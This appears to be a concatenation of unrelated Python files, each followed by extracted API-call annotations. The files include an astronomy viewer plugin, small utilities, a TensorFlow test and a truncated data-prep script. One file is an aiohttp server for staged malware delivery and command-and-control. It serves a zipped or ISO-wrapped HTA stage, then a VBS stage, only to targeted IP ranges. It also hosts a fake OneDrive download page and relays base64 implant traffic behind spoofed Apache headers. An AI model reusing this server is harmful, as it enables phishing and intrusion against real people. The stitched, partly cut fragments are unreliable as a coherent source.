(1503, 1730), False, 'import cv2\n'), ((1935, 1981), 'matplotlib.pyplot.imsave', 'plt.imsave', (['"""disparity_map.jpg"""', 'disparity_map'], {}), "('disparity_map.jpg', disparity_map)\n", (1945, 1981), True, 'import matplotlib.pyplot as plt\n'), ((2156, 2244), 'numpy.float32', 'np.float32', (['[[1, 0, 0, 0], [0, -1, 0, 0], [0, 0, focal_length * f, 0], [0, 0, 0, 1]]'], {}), '([[1, 0, 0, 0], [0, -1, 0, 0], [0, 0, focal_length * f, 0], [0, 0,\n 0, 1]])\n', (2166, 2244), True, 'import numpy as np\n'), ((2352, 2393), 'cv2.reprojectImageTo3D', 'cv2.reprojectImageTo3D', (['disparity_map', 'Q2'], {}), '(disparity_map, Q2)\n', (2374, 2393), False, 'import cv2\n'), ((2429, 2479), 'cv2.cvtColor', 'cv2.cvtColor', (['img_1_undistorted', 'cv2.COLOR_BGR2RGB'], {}), '(img_1_undistorted, cv2.COLOR_BGR2RGB)\n', (2441, 2479), False, 'import cv2\n'), ((629, 673), 'numpy.savetxt', 'np.savetxt', (['f', 'vertices', '"""%f %f %f %d %d %d"""'], {}), "(f, vertices, '%f %f %f %d %d %d')\n", (639, 673), True, 'import numpy as np\n'), ((827, 867), 'os.path.join', 'os.path.join', (['"""camera_params"""', '"""ret.npy"""'], {}), "('camera_params', 'ret.npy')\n", (839, 867), False, 'import os\n'), ((884, 922), 'os.path.join', 'os.path.join', (['"""camera_params"""', '"""K.npy"""'], {}), "('camera_params', 'K.npy')\n", (896, 922), False, 'import os\n'), ((942, 983), 'os.path.join', 'os.path.join', (['"""camera_params"""', '"""dist.npy"""'], {}), "('camera_params', 'dist.npy')\n", (954, 983), False, 'import os\n'), ((2079, 2127), 'os.path.join', 'os.path.join', (['"""camera_params"""', '"""FocalLength.npy"""'], {}), "('camera_params', 'FocalLength.npy')\n", (2091, 2127), False, 'import os\n')] |
#
# ZoomBase.py -- Zoom plugin base class for Ginga fits viewer
#
# <NAME> (<EMAIL>)
#
# Copyright (c) <NAME>. All rights reserved.
# This is open-source software licensed under a BSD license.
# Please see the file LICENSE.txt for details.
#
import time
from ginga.misc import Bunch
from ginga import GingaPlugin
class ZoomBase(GingaPlugin.GlobalPlugin):
def __init__(self, fv):
# superclass defines some variables for us, like logger
super(ZoomBase, self).__init__(fv)
self.zoomimage = None
self.default_radius = 30
self.default_zoom = 3
self.zoom_radius = self.default_radius
self.zoom_amount = self.default_zoom
self.zoom_x = 0
self.zoom_y = 0
self.t_abszoom = True
self.zoomtask = fv.get_timer()
self.zoomtask.set_callback('expired', self.showzoom_timer)
self.fitsimage_focus = None
self.refresh_interval = 0.02
self.update_time = time.time()
fv.add_callback('add-channel', self.add_channel)
fv.add_callback('active-image', self.focus_cb)
def prepare(self, fitsimage):
fitssettings = fitsimage.get_settings()
zoomsettings = self.zoomimage.get_settings()
fitsimage.add_callback('image-set', self.new_image_cb)
#fitsimage.add_callback('focus', self.focus_cb)
# TODO: should we add our own canvas instead?
fitsimage.add_callback('motion', self.motion_cb)
for name in ['cuts']:
fitssettings.getSetting(name).add_callback('set',
self.cutset_cb, fitsimage)
fitsimage.add_callback('transform', self.transform_cb)
fitssettings.copySettings(zoomsettings, ['rot_deg'])
fitssettings.getSetting('rot_deg').add_callback('set', self.rotate_cb, fitsimage)
fitssettings.getSetting('zoomlevel').add_callback('set',
self.zoomset_cb, fitsimage)
def add_channel(self, viewer, chinfo):
self.prepare(chinfo.fitsimage)
def start(self):
names = self.fv.get_channelNames()
for name in names:
chinfo = self.fv.get_channelInfo(name)
self.add_channel(self.fv, chinfo)
# CALLBACKS
def new_image_cb(self, fitsimage, image):
if fitsimage != self.fv.getfocus_fitsimage():
return True
self.fitsimage_focus = fitsimage
# Reflect transforms, colormap, etc.
fitsimage.copy_attributes(self.zoomimage,
['transforms', 'cutlevels',
'rgbmap'],
redraw=False)
## data = image.get_data()
## self.set_data(data)
def focus_cb(self, viewer, fitsimage):
self.fitsimage_focus = fitsimage
# Reflect transforms, colormap, etc.
fitsimage.copy_attributes(self.zoomimage,
['transforms', 'cutlevels',
'rgbmap', 'rotation'],
redraw=False)
# TODO: redo cutout?
# Match cut-levels to the ones in the "main" image
def cutset_cb(self, setting, value, fitsimage):
if fitsimage != self.fitsimage_focus:
return True
loval, hival = value
self.zoomimage.cut_levels(loval, hival)
return True
def transform_cb(self, fitsimage):
if fitsimage != self.fitsimage_focus:
return True
flip_x, flip_y, swap_xy = fitsimage.get_transforms()
self.zoomimage.transform(flip_x, flip_y, swap_xy)
return True
def rotate_cb(self, setting, deg, fitsimage):
if fitsimage != self.fitsimage_focus:
return True
self.zoomimage.rotate(deg)
return True
def _zoomset(self, fitsimage, zoomlevel):
if fitsimage != self.fitsimage_focus:
return True
if self.t_abszoom:
# Did user set to absolute zoom?
myzoomlevel = self.zoom_amount
else:
# Amount of zoom is a relative amount
myzoomlevel = zoomlevel + self.zoom_amount
self.logger.debug("zoomlevel=%d myzoom=%d" % (
zoomlevel, myzoomlevel))
self.zoomimage.zoom_to(myzoomlevel, redraw=True)
text = self.fv.scale2text(self.zoomimage.get_scale())
return True
def zoomset_cb(self, setting, zoomlevel, fitsimage):
"""This method is called when a main FITS widget changes zoom level.
"""
fac_x, fac_y = fitsimage.get_scale_base_xy()
fac_x_me, fac_y_me = self.zoomimage.get_scale_base_xy()
if (fac_x != fac_x_me) or (fac_y != fac_y_me):
alg = fitsimage.get_zoom_algorithm()
self.zoomimage.set_zoom_algorithm(alg)
self.zoomimage.set_scale_base_xy(fac_x, fac_y)
return self._zoomset(self.fitsimage_focus, zoomlevel)
# LOGIC
def set_radius(self, val):
self.logger.debug("Setting radius to %d" % val)
self.zoom_radius = val
fitsimage = self.fitsimage_focus
if fitsimage == None:
return True
image = fitsimage.get_image()
wd, ht = image.get_size()
data_x, data_y = wd // 2, ht // 2
self.showxy(fitsimage, data_x, data_y)
def showxy(self, fitsimage, data_x, data_y):
# Cut and show zoom image in zoom window
self.zoom_x, self.zoom_y = data_x, data_y
image = fitsimage.get_image()
if image == None:
# No image loaded into this channel
return True
# If this is a new source, then update our widget with the
# attributes of the source
if self.fitsimage_focus != fitsimage:
self.focus_cb(self.fv, fitsimage)
# If the refresh interval has expired then update the zoom image;
# otherwise (re)set the timer until the end of the interval.
cur_time = time.time()
elapsed = cur_time - self.update_time
if elapsed > self.refresh_interval:
# cancel timer
self.zoomtask.clear()
self.showzoom(image, data_x, data_y)
else:
# store needed data into the timer
self.zoomtask.data.setvals(image=image,
data_x=data_x, data_y=data_y)
# calculate delta until end of refresh interval
period = self.refresh_interval - elapsed
# set timer
self.zoomtask.set(period)
return True
def motion_cb(self, fitsimage, button, data_x, data_y):
# TODO: pass _canvas_ and cut from that
self.showxy(fitsimage, data_x, data_y)
return False
def showzoom_timer(self, timer):
data = timer.data
self.showzoom(data.image, data.data_x, data.data_y)
def showzoom(self, image, data_x, data_y):
# cut out detail area and set the zoom image
data, x1, y1, x2, y2 = image.cutout_radius(int(data_x), int(data_y),
self.zoom_radius)
self.update_time = time.time()
self.fv.gui_do(self.zoomimage.set_data, data)
def __str__(self):
return 'zoom'
#END
| [
"time.time"
] | [((966, 977), 'time.time', 'time.time', ([], {}), '()\n', (975, 977), False, 'import time\n'), ((6072, 6083), 'time.time', 'time.time', ([], {}), '()\n', (6081, 6083), False, 'import time\n'), ((7245, 7256), 'time.time', 'time.time', ([], {}), '()\n', (7254, 7256), False, 'import time\n')] |
import json
from pprint import pprint
filename = "readfile_4.json"
with open(filename) as f:
readdata = json.load(f)
new_dict = {}
for a_keys, a_values in readdata.items():
if a_keys == "ipV4Neighbors":
for nei_list in a_values:
for nei_keys, nei_values in nei_list.items():
if nei_keys == "hwAddress":
dict_value = nei_values
if nei_keys =="address":
dict_key = nei_values
new_dict.update({dict_key : dict_value})
print("")
print(new_dict)
print("")
| [
"json.load"
] | [((109, 121), 'json.load', 'json.load', (['f'], {}), '(f)\n', (118, 121), False, 'import json\n')] |
from django.apps import AppConfig
from django.utils.translation import gettext_lazy as _
class SessionConfig(AppConfig):
name = "vbb_backend.session"
verbose_name = _("Session")
def ready(self):
try:
import vbb_backend.session.signals # noqa F401
except ImportError:
pass
| [
"django.utils.translation.gettext_lazy"
] | [((175, 187), 'django.utils.translation.gettext_lazy', '_', (['"""Session"""'], {}), "('Session')\n", (176, 187), True, 'from django.utils.translation import gettext_lazy as _\n')] |
import os
import ssl
import ipaddress
import hashlib
from ipaddress import *
import asyncio
import pyminizip
import base64
import datetime
from time import gmtime, strftime
from aiohttp import web
import urllib.parse
from shutil import copyfile
import sys
import pycdlib
from io import BytesIO
stage0UrlPrefix = '/documents/lang/'
stage1UrlPrefix = '/documents/grammar/'
onedriveUrlPrefix = '/onedrive/auth/'
def createGETCallback(cb):
global callback
callback = cb
async def handleWeb(request):
data = request.match_info.get('data', '')
try:
data = urllib.parse.unquote(data)
data = base64.b64decode(data)
except:
return web.Response(status=404, content_type='text/html', headers={'Server': 'Apache/2.4'})
peername = request.transport.get_extra_info('peername')
if peername is not None:
host, port = peername
global callback
ret = callback(data, host)
if ret:
ret = str(base64.b64encode(ret),'ascii')
return web.Response(text=ret, content_type='text/html', headers={'Server': 'Apache/2.4'})
return web.Response(status=200, content_type='text/html', headers={'Server': 'Apache/2.4'})
return handleWeb
def createPOSTCallback(cb):
global callback
callback = cb
async def handleWeb(request):
if request.can_read_body:
data = await request.read()
data = str(data, 'utf-8')
#try:
if '%' in data:
data = urllib.parse.unquote(data)
data = base64.b64decode(data)
#except:
# return web.Response(status=404, headers={'Server': 'Apache/2.4'})
peername = request.transport.get_extra_info('peername')
if peername is not None:
host, port = peername
global callback
ret = callback(data, host)
if ret:
ret = str(base64.b64encode(ret),'ascii')
return web.Response(text=ret, headers={'Server': 'Apache/2.4'})
return web.Response(status=200, headers={'Server': 'Apache/2.4'})
return handleWeb
def log(request, s):
ua = ''
try:
if (request.headers["User-Agent"]):
ua = request.headers["User-Agent"]
except Exception as e:
pass
peername = request.transport.get_extra_info('peername')
host = ''
if peername is not None:
host, port = peername
t = strftime("%Y-%m-%d %H:%M:%S", gmtime())
#print(str(datetime.datetime.now().isoformat()) + ' ' + host + ' ' + s + ' ' + ua)
print(t + ' ' + host + ' ' + s + ' ' + ua)
async def handleTelemetry(request):
data = request.match_info.get('data', '')
log(request, 'telemetry: ' + data)
from pathlib import Path
png = Path('tracking.png').read_bytes()
return web.Response(body=png, status=200, content_type='image/png', headers={'Server': 'Apache/2.4'})
async def handleMalware(request):
data = request.match_info.get('data', '')
log(request, 'malware: ' + data)
#from pathlib import Path
#txt = Path('implants/hta/build/implant.html').read_text()
txt = "404"
return web.Response(text=txt, status=200, content_type='text/html', headers={'Server': 'Apache/2.4'})
def isInTargetRange(request):
filename = 'target-ranges.txt'
if not os.path.exists(filename):
return True
peername = request.transport.get_extra_info('peername')
host = ''
if peername is not None:
host, port = peername
for line in open(filename, 'r').readlines():
line = line.replace('\n','').replace(' ','')
if line == '':
continue
if ipaddress.ip_address(host) in ipaddress.ip_network(line):
return True
return False
async def handleStage0(request):
password = request.match_info.get('password', '')
filename = request.match_info.get('filename', '').replace('.','').replace('/','').replace('\\','')
if not isInTargetRange(request):
log(request, 'STAGE0 NOT TARGET RANGE! password: ' + password + ' filename: ' + filename)
copyfile('benign.txt', filename + '.txt')
pyminizip.compress(filename + '.txt', None, filename + '.zip', None, 3)
else:
log(request, 'STAGE0 password: ' + password + ' filename: ' + filename + '.zip')
copyfile('stage0.hta', filename + '.hta')
# create iso with stage0 hta inside
f = open(filename + '.hta', 'rb')
fileData = f.read()
f.close()
fileName = filename + '.hta'
level1name = fileName.replace('.','').replace('-','').upper()[0:8]
iso = pycdlib.PyCdlib()
iso.new(joliet=3)
iso.add_fp(BytesIO(fileData), len(fileData), '/' + level1name + '.;1', joliet_path='/' + fileName)
iso.write(filename + '.iso')
iso.close()
if password == '0':
password = None
pyminizip.compress(filename + '.hta', None, filename + '.zip', password, 3)
#pyminizip.compress(filename + '.iso', None, filename + '.zip', password, 3)
if os.path.exists(filename + '.hta'):
os.remove(filename + '.hta')
if os.path.exists(filename + '.iso'):
os.remove(filename + '.iso')
ret = b''.join(open(filename + '.zip','rb').readlines())
#ret = b''.join(open(filename + '.iso','rb').readlines())
m = hashlib.md5()
m.update(ret)
md5sum = m.hexdigest()
print('serving zip with md5sum: ' + md5sum)
if os.path.exists(filename + '.zip'):
os.remove(filename + '.zip')
h = { 'accept-ranges': 'bytes',
#'Content-Type': 'application/octetstream; charset=utf-8',
'Content-Disposition': 'attachment; filename="' + filename + '.zip"',
'Content-Type': 'application/zip'}
#'Content-Disposition': 'attachment; filename="' + filename + '.iso"' }
return web.Response(body=ret, status=200, headers=h)
async def handleStage1(request):
h = { 'Server': 'Apache/2.4',
'Content-Type': 'text/plain; charset=utf-8'}
if not isInTargetRange(request):
log(request, 'STAGE1 NOT TARGET RANGE! Serving nothing')
return web.Response(text='', status=404, headers=h)
data = request.match_info.get('data', '')
log(request, 'STAGE1 ' + data)
ret = ''.join(open('stage1.vbs','r').readlines())
return web.Response(text=ret, status=200, headers=h)
async def handle404(request):
log(request, '404 ' + request.url)
h = { 'Server': 'Apache/2.4' }
return web.Response(status=404, headers=h)
@web.middleware
async def error_middleware(request, handler):
response = await handler(request)
if response.status != 404:
return response
log(request, '404 ' + str(request.url))
h = { 'Server': 'Apache/2.4' }
return web.Response(status=404, headers=h)
async def handleOnedrive(request):
password = request.match_info.get('password', '')
filename = request.match_info.get('filename', '').replace('.','').replace('/','').replace('\\','')
#if not isInTargetRange(request):
log(request, 'ONEDRIVE password: ' + password + ' filename: ' + filename)
ret = ''.join(open('onedrive.html','r').readlines())
ret = ret.replace('DOWNLOADURLGOESHERE', stage0UrlPrefix + password + '/' + filename)
ret = ret.replace('FILENAMEGOESHERE', filename + '.zip')
h = { 'Server': 'Apache/2.4',
'Content-Type': 'text/html; charset=utf-8'}
return web.Response(text=ret, status=200, headers=h)
async def startWebServer(cb):
try:
app = web.Application(middlewares=[error_middleware])
#app = web.Application()
app.add_routes([web.get('/{data}', createGETCallback(cb))])
app.add_routes([web.post('/{data}', createPOSTCallback(cb))])
#app.add_routes([web.get('/telemetry/{data}', handleTelemetry)])
#app.add_routes([web.get('/delivery/{data}', handleMalware)])
app.add_routes([web.get(stage0UrlPrefix + '{password}/{filename}', handleStage0)])
app.add_routes([web.get(stage1UrlPrefix + '{data}', handleStage1)])
app.add_routes([web.get(onedriveUrlPrefix + '{password}/{filename}', handleOnedrive)])
#app.add_routes([web.static('/en', 'static')])
#error_middleware = error_pages({404: handle404})
#app.middlewares.append(error_middleware)
runner = web.AppRunner(app)
await runner.setup()
if os.path.isfile('fullchain.pem') and os.path.isfile('privkey.pem'):
print('fullchain.pem and privkey.pem found.')
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
ssl_ctx.load_cert_chain(certfile='fullchain.pem', keyfile='privkey.pem')
ssl_site = web.TCPSite(runner, '0.0.0.0', 443, ssl_context=ssl_ctx)
await ssl_site.start()
print('TLS/SSL web server started on 0.0.0.0:443')
else:
print('fullchain.pem and privkey.pem not found. Cannot start SSL/TLS. Maybe have a go at certbot certonly --register-unsafely-without-email ?')
site = web.TCPSite(runner, '0.0.0.0', 80)
await site.start()
print('cleartext HTTP web server started on 0.0.0.0:80')
except asyncio.CancelledError:
print('web server stopped.')
runner.cleanup()
| [
"base64.b64encode",
"aiohttp.web.Application",
"io.BytesIO",
"aiohttp.web.TCPSite",
"ipaddress.ip_network",
"os.remove",
"os.path.exists",
"pathlib.Path",
"aiohttp.web.Response",
"aiohttp.web.AppRunner",
"hashlib.md5",
"ssl.SSLContext",
"pycdlib.PyCdlib",
"os.path.isfile",
"shutil.copyfi... | [((2652, 2751), 'aiohttp.web.Response', 'web.Response', ([], {'body': 'png', 'status': '(200)', 'content_type': '"""image/png"""', 'headers': "{'Server': 'Apache/2.4'}"}), "(body=png, status=200, content_type='image/png', headers={\n 'Server': 'Apache/2.4'})\n", (2664, 2751), False, 'from aiohttp import web\n'), ((2977, 3076), 'aiohttp.web.Response', 'web.Response', ([], {'text': 'txt', 'status': '(200)', 'content_type': '"""text/html"""', 'headers': "{'Server': 'Apache/2.4'}"}), "(text=txt, status=200, content_type='text/html', headers={\n 'Server': 'Apache/2.4'})\n", (2989, 3076), False, 'from aiohttp import web\n'), ((5045, 5058), 'hashlib.md5', 'hashlib.md5', ([], {}), '()\n', (5056, 5058), False, 'import hashlib\n'), ((5152, 5185), 'os.path.exists', 'os.path.exists', (["(filename + '.zip')"], {}), "(filename + '.zip')\n", (5166, 5185), False, 'import os\n'), ((5541, 5586), 'aiohttp.web.Response', 'web.Response', ([], {'body': 'ret', 'status': '(200)', 'headers': 'h'}), '(body=ret, status=200, headers=h)\n', (5553, 5586), False, 'from aiohttp import web\n'), ((6001, 6046), 'aiohttp.web.Response', 'web.Response', ([], {'text': 'ret', 'status': '(200)', 'headers': 'h'}), '(text=ret, status=200, headers=h)\n', (6013, 6046), False, 'from aiohttp import web\n'), ((6159, 6194), 'aiohttp.web.Response', 'web.Response', ([], {'status': '(404)', 'headers': 'h'}), '(status=404, headers=h)\n', (6171, 6194), False, 'from aiohttp import web\n'), ((6428, 6463), 'aiohttp.web.Response', 'web.Response', ([], {'status': '(404)', 'headers': 'h'}), '(status=404, headers=h)\n', (6440, 6463), False, 'from aiohttp import web\n'), ((7065, 7110), 'aiohttp.web.Response', 'web.Response', ([], {'text': 'ret', 'status': '(200)', 'headers': 'h'}), '(text=ret, status=200, headers=h)\n', (7077, 7110), False, 'from aiohttp import web\n'), ((1089, 1177), 'aiohttp.web.Response', 'web.Response', ([], {'status': '(200)', 'content_type': '"""text/html"""', 'headers': "{'Server': 'Apache/2.4'}"}), "(status=200, content_type='text/html', headers={'Server':\n 'Apache/2.4'})\n", (1101, 1177), False, 'from aiohttp import web\n'), ((1916, 1974), 'aiohttp.web.Response', 'web.Response', ([], {'status': '(200)', 'headers': "{'Server': 'Apache/2.4'}"}), "(status=200, headers={'Server': 'Apache/2.4'})\n", (1928, 1974), False, 'from aiohttp import web\n'), ((2312, 2320), 'time.gmtime', 'gmtime', ([], {}), '()\n', (2318, 2320), False, 'from time import gmtime, strftime\n'), ((3145, 3169), 'os.path.exists', 'os.path.exists', (['filename'], {}), '(filename)\n', (3159, 3169), False, 'import os\n'), ((3864, 3905), 'shutil.copyfile', 'copyfile', (['"""benign.txt"""', "(filename + '.txt')"], {}), "('benign.txt', filename + '.txt')\n", (3872, 3905), False, 'from shutil import copyfile\n'), ((3910, 3981), 'pyminizip.compress', 'pyminizip.compress', (["(filename + '.txt')", 'None', "(filename + '.zip')", 'None', '(3)'], {}), "(filename + '.txt', None, filename + '.zip', None, 3)\n", (3928, 3981), False, 'import pyminizip\n'), ((4079, 4120), 'shutil.copyfile', 'copyfile', (['"""stage0.hta"""', "(filename + '.hta')"], {}), "('stage0.hta', filename + '.hta')\n", (4087, 4120), False, 'from shutil import copyfile\n'), ((4358, 4375), 'pycdlib.PyCdlib', 'pycdlib.PyCdlib', ([], {}), '()\n', (4373, 4375), False, 'import pycdlib\n'), ((4606, 4681), 'pyminizip.compress', 'pyminizip.compress', (["(filename + '.hta')", 'None', "(filename + '.zip')", 'password', '(3)'], {}), "(filename + '.hta', None, filename + '.zip', password, 3)\n", (4624, 4681), False, 'import pyminizip\n'), ((4771, 4804), 'os.path.exists', 'os.path.exists', (["(filename + '.hta')"], {}), "(filename + '.hta')\n", (4785, 4804), False, 'import os\n'), ((4848, 4881), 'os.path.exists', 'os.path.exists', (["(filename + '.iso')"], {}), "(filename + '.iso')\n", (4862, 4881), False, 'import os\n'), ((5191, 5219), 'os.remove', 'os.remove', (["(filename + '.zip')"], {}), "(filename + '.zip')\n", (5200, 5219), False, 'import os\n'), ((5814, 5858), 'aiohttp.web.Response', 'web.Response', ([], {'text': '""""""', 'status': '(404)', 'headers': 'h'}), "(text='', status=404, headers=h)\n", (5826, 5858), False, 'from aiohttp import web\n'), ((7162, 7209), 'aiohttp.web.Application', 'web.Application', ([], {'middlewares': '[error_middleware]'}), '(middlewares=[error_middleware])\n', (7177, 7209), False, 'from aiohttp import web\n'), ((7925, 7943), 'aiohttp.web.AppRunner', 'web.AppRunner', (['app'], {}), '(app)\n', (7938, 7943), False, 'from aiohttp import web\n'), ((8575, 8609), 'aiohttp.web.TCPSite', 'web.TCPSite', (['runner', '"""0.0.0.0"""', '(80)'], {}), "(runner, '0.0.0.0', 80)\n", (8586, 8609), False, 'from aiohttp import web\n'), ((617, 639), 'base64.b64decode', 'base64.b64decode', (['data'], {}), '(data)\n', (633, 639), False, 'import base64\n'), ((995, 1081), 'aiohttp.web.Response', 'web.Response', ([], {'text': 'ret', 'content_type': '"""text/html"""', 'headers': "{'Server': 'Apache/2.4'}"}), "(text=ret, content_type='text/html', headers={'Server':\n 'Apache/2.4'})\n", (1007, 1081), False, 'from aiohttp import web\n'), ((1476, 1498), 'base64.b64decode', 'base64.b64decode', (['data'], {}), '(data)\n', (1492, 1498), False, 'import base64\n'), ((2608, 2628), 'pathlib.Path', 'Path', (['"""tracking.png"""'], {}), "('tracking.png')\n", (2612, 2628), False, 'from pathlib import Path\n'), ((3452, 3478), 'ipaddress.ip_address', 'ipaddress.ip_address', (['host'], {}), '(host)\n', (3472, 3478), False, 'import ipaddress\n'), ((3482, 3508), 'ipaddress.ip_network', 'ipaddress.ip_network', (['line'], {}), '(line)\n', (3502, 3508), False, 'import ipaddress\n'), ((4413, 4430), 'io.BytesIO', 'BytesIO', (['fileData'], {}), '(fileData)\n', (4420, 4430), False, 'from io import BytesIO\n'), ((4812, 4840), 'os.remove', 'os.remove', (["(filename + '.hta')"], {}), "(filename + '.hta')\n", (4821, 4840), False, 'import os\n'), ((4889, 4917), 'os.remove', 'os.remove', (["(filename + '.iso')"], {}), "(filename + '.iso')\n", (4898, 4917), False, 'import os\n'), ((7978, 8009), 'os.path.isfile', 'os.path.isfile', (['"""fullchain.pem"""'], {}), "('fullchain.pem')\n", (7992, 8009), False, 'import os\n'), ((8014, 8043), 'os.path.isfile', 'os.path.isfile', (['"""privkey.pem"""'], {}), "('privkey.pem')\n", (8028, 8043), False, 'import os\n'), ((8117, 8153), 'ssl.SSLContext', 'ssl.SSLContext', (['ssl.PROTOCOL_TLSv1_2'], {}), '(ssl.PROTOCOL_TLSv1_2)\n', (8131, 8153), False, 'import ssl\n'), ((8254, 8310), 'aiohttp.web.TCPSite', 'web.TCPSite', (['runner', '"""0.0.0.0"""', '(443)'], {'ssl_context': 'ssl_ctx'}), "(runner, '0.0.0.0', 443, ssl_context=ssl_ctx)\n", (8265, 8310), False, 'from aiohttp import web\n'), ((667, 755), 'aiohttp.web.Response', 'web.Response', ([], {'status': '(404)', 'content_type': '"""text/html"""', 'headers': "{'Server': 'Apache/2.4'}"}), "(status=404, content_type='text/html', headers={'Server':\n 'Apache/2.4'})\n", (679, 755), False, 'from aiohttp import web\n'), ((951, 972), 'base64.b64encode', 'base64.b64encode', (['ret'], {}), '(ret)\n', (967, 972), False, 'import base64\n'), ((1848, 1904), 'aiohttp.web.Response', 'web.Response', ([], {'text': 'ret', 'headers': "{'Server': 'Apache/2.4'}"}), "(text=ret, headers={'Server': 'Apache/2.4'})\n", (1860, 1904), False, 'from aiohttp import web\n'), ((7526, 7590), 'aiohttp.web.get', 'web.get', (["(stage0UrlPrefix + '{password}/{filename}')", 'handleStage0'], {}), "(stage0UrlPrefix + '{password}/{filename}', handleStage0)\n", (7533, 7590), False, 'from aiohttp import web\n'), ((7613, 7662), 'aiohttp.web.get', 'web.get', (["(stage1UrlPrefix + '{data}')", 'handleStage1'], {}), "(stage1UrlPrefix + '{data}', handleStage1)\n", (7620, 7662), False, 'from aiohttp import web\n'), ((7686, 7754), 'aiohttp.web.get', 'web.get', (["(onedriveUrlPrefix + '{password}/{filename}')", 'handleOnedrive'], {}), "(onedriveUrlPrefix + '{password}/{filename}', handleOnedrive)\n", (7693, 7754), False, 'from aiohttp import web\n'), ((1802, 1823), 'base64.b64encode', 'base64.b64encode', (['ret'], {}), '(ret)\n', (1818, 1823), False, 'import base64\n')] |
import random
def binary_search(data, target, low_index, high_index):
""" Binary Search recursiva """
if (low_index > high_index):
return False
mid_index = (low_index + high_index) // 2
if target == data[mid_index]:
return True
elif target < data[mid_index]:
return binary_search(data, target, low_index, mid_index - 1)
else:
return binary_search(data, target, mid_index + 1, high_index)
def loop_binary_search(data, target, low_index, high_index):
""" Binary Search Iterativa """
while(low_index < high_index):
mid_index = (low_index + high_index) // 2
if target == data[mid_index]:
return True
elif target < data[mid_index]:
high_index = (mid_index - 1)
else:
low_index = (mid_index + 1)
return False
if __name__ == "__main__":
""" Suponga un arreglo ordenado, en el cual vamos a buscar un elemento.
Optimizar una búsqueda en esta lista consiste en dividir la lista en partes e
ir comparando el número con la parte dividida, en esto consiste la búsqueda binaria.
Se implementarán dos forma en este Script"""
data = [random.randint(0,100) for i in range(10)]
data.sort()
print(data)
target = int(input("Numero a encontrar:\t"))
f = binary_search(data, target, 0, len(data) - 1)
print(f)
f = loop_binary_search(data, target, 0, len(data) - 1)
print(f)
| [
"random.randint"
] | [((1184, 1206), 'random.randint', 'random.randint', (['(0)', '(100)'], {}), '(0, 100)\n', (1198, 1206), False, 'import random\n')] |
# -*- coding: utf-8 -*-
from collections import OrderedDict
from . import instance
import future.utils
# https://blog.ionelmc.ro/2015/02/09/understanding-python-metaclasses/
#
# Instance creation:
# metaclass.__call__()
# instance = class.__new__(self,)
# class.__init__(instance,...)
# return instance
#
# Class creation:
# metametaclass.__call__()
# class = metaclass.__new__(self,)
# metaclass.__init__(class,...)
# return class
def clsfactory(cls, name):
"""
Get class from name/alias
Args:
name(str): name of class that needs to be created
Returns:
class
"""
if name in cls.clsregistry:
return cls.clsregistry[name]
elif name in cls.aliasregistry:
return cls.aliasregistry[name]
else:
raise RuntimeError(
"Class {} is not known:\n registered classes: {}\n aliases: {}".format(
name, cls.clsnames(), cls.clsaliases()
)
)
def factory(cls, name, *args, **kwargs):
"""
Get class instance from class name/alias
Args:
name(str): name of class that needs to be created
Returns:
class instance
"""
return cls.clsfactory(name)(*args, **kwargs)
def register(cls, regcls, name):
"""
Register class name and aliases
Args:
regcls(class): class to be registered
name(str): name of the class to be registered
"""
lname = name.lower()
cls.clsregistry[name] = regcls
if lname != name:
cls.aliasregistry[lname] = regcls
if hasattr(regcls, "aliases"):
for alias in regcls.aliases:
lalias = alias.lower()
cls.aliasregistry[alias] = regcls
if lalias != alias:
cls.aliasregistry[lalias] = regcls
def clsnames(cls):
"""Registered class names"""
return list(cls.clsregistry.keys())
def clsaliases(cls):
"""Registered class aliases"""
return list(cls.aliasregistry.keys())
def clsallnames(cls):
"""Registered class names+aliases"""
return cls.clsnames() + cls.clsaliases()
class FactoryMeta(type):
"""
Metaclass used to register all classes inheriting from FactoryMeta
"""
def __new__(self, name, bases, attr):
cls = super(FactoryMeta, self).__new__(self, name, bases, attr)
if not hasattr(cls, "register"):
cls.clsregistry = OrderedDict()
cls.aliasregistry = OrderedDict()
cls.clsnames = classmethod(clsnames)
cls.clsallnames = classmethod(clsallnames)
cls.clsaliases = classmethod(clsaliases)
cls.clsfactory = classmethod(clsfactory)
cls.factory = classmethod(factory)
cls.register = classmethod(register)
return cls
def __init__(cls, name, bases, attr):
cls.register(cls, name)
for b in bases:
if hasattr(b, "register"):
b.register(cls, name)
super(FactoryMeta, cls).__init__(name, bases, attr)
def with_metaclass(bases=None):
if bases is None:
return future.utils.with_metaclass(FactoryMeta)
else:
if not instance.isarray(bases):
bases = (bases,)
return future.utils.with_metaclass(FactoryMeta, *bases)
| [
"collections.OrderedDict"
] | [((2415, 2428), 'collections.OrderedDict', 'OrderedDict', ([], {}), '()\n', (2426, 2428), False, 'from collections import OrderedDict\n'), ((2461, 2474), 'collections.OrderedDict', 'OrderedDict', ([], {}), '()\n', (2472, 2474), False, 'from collections import OrderedDict\n')] |
import tensorflow as tf
from tfoptests.persistor import TensorFlowPersistor
from tfoptests.test_graph import TestGraph
class ConcatTest(TestGraph):
def list_inputs(self):
return []
def test_concat_one():
concat_test = ConcatTest(seed=13)
arrs = []
for i in range(1, 5, 1):
arrs.append(tf.Variable(tf.constant(5, dtype=tf.float32, shape=(1, 1), name=str(str(i) + '_num'))))
out_node = tf.concat(arrs, 0, name='output')
placeholders = []
predictions = [out_node]
# Run and persist
tfp = TensorFlowPersistor(save_dir="concat")
tfp.set_placeholders(placeholders) \
.set_output_tensors(predictions) \
.set_test_data(concat_test.get_test_data()) \
.build_save_frozen_graph()
if __name__ == '__main__':
test_concat_one()
| [
"tensorflow.concat",
"tfoptests.persistor.TensorFlowPersistor"
] | [((424, 457), 'tensorflow.concat', 'tf.concat', (['arrs', '(0)'], {'name': '"""output"""'}), "(arrs, 0, name='output')\n", (433, 457), True, 'import tensorflow as tf\n'), ((543, 581), 'tfoptests.persistor.TensorFlowPersistor', 'TensorFlowPersistor', ([], {'save_dir': '"""concat"""'}), "(save_dir='concat')\n", (562, 581), False, 'from tfoptests.persistor import TensorFlowPersistor\n')] |
import sys
import json
sys.path.insert(0, '../')
import config
from data_utils import (make_conll_format, make_embedding, make_vocab,
make_vocab_from_squad, process_file, make_graph_vector)
def make_sent_dataset():
train_src_file = "./para-train.txt"
train_trg_file = "./tgt-train.txt"
embedding_file = "./glove.840B.300d.txt"
embedding = "./embedding.pkl"
word2idx_file = "./word2idx.pkl"
# make vocab file
word2idx = make_vocab(train_src_file, train_trg_file, word2idx_file, config.vocab_size)
make_embedding(embedding_file, embedding, word2idx)
def make_para_dataset():
